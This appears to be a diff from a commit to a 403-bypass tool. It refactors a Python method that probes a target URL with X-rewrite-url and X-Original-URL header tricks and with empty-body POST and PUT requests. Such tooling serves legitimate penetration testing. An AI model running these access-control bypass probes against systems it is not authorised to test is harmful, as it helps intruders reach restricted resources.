@@ -83,23 +83,16 @@ def try_bypass(self) -> dict:
83
83
scode , size = self .send_request ("GET" , original_path , headers = headers )
84
84
results [scode ].append (f"size { size } \t \t GET { original_path } -H { header } : { host_nickname } " )
85
85
86
- req_path = f"{ self .target_url } "
87
- headers = {"X-rewrite-url" : self .target_keyword }
88
- scode , size = self .send_request ("GET" , req_path , headers = headers )
89
- results [scode ].append (f"size { size } \t \t GET { req_path } -H 'X-rewrite-url: { self .target_keyword } '" )
90
-
91
- req_path = f"{ self .target_url } "
92
- headers = {"X-Original-URL" : self .target_keyword }
93
- scode , size = self .send_request ("GET" , req_path , headers = headers )
94
- results [scode ].append (f"size { size } \t \t GET { req_path } -H 'X-Original-URL: { self .target_keyword } '" )
95
-
96
- headers = {"Content-Length" : "0" }
97
- scode , size = self .send_request ("POST" , original_path , headers = headers )
98
- results [scode ].append (f"size { size } \t \t POST { original_path } -H 'Content-Length: 0'" )
99
-
100
- headers = {"Content-Length" : "0" }
101
- scode , size = self .send_request ("PUT" , original_path , headers = headers )
102
- results [scode ].append (f"size { size } \t \t PUT { original_path } -H 'Content-Length: 0'" )
86
+ for header in ["X-rewrite-url" , "X-Original-URL" ]:
87
+ req_path = f"{ self .target_url } "
88
+ headers = {header : self .target_keyword }
89
+ scode , size = self .send_request ("GET" , req_path , headers = headers )
90
+ results [scode ].append (f"size { size } \t \t GET { req_path } -H '{ header } : { self .target_keyword } '" )
91
+
92
+ for method in ["POST" , "PUT" ]:
93
+ headers = {"Content-Length" : "0" }
94
+ scode , size = self .send_request (method , original_path , headers = headers )
95
+ results [scode ].append (f"size { size } \t \t { method } { original_path } -H 'Content-Length: 0'" )
103
96
104
97
return results
105
98
0 commit comments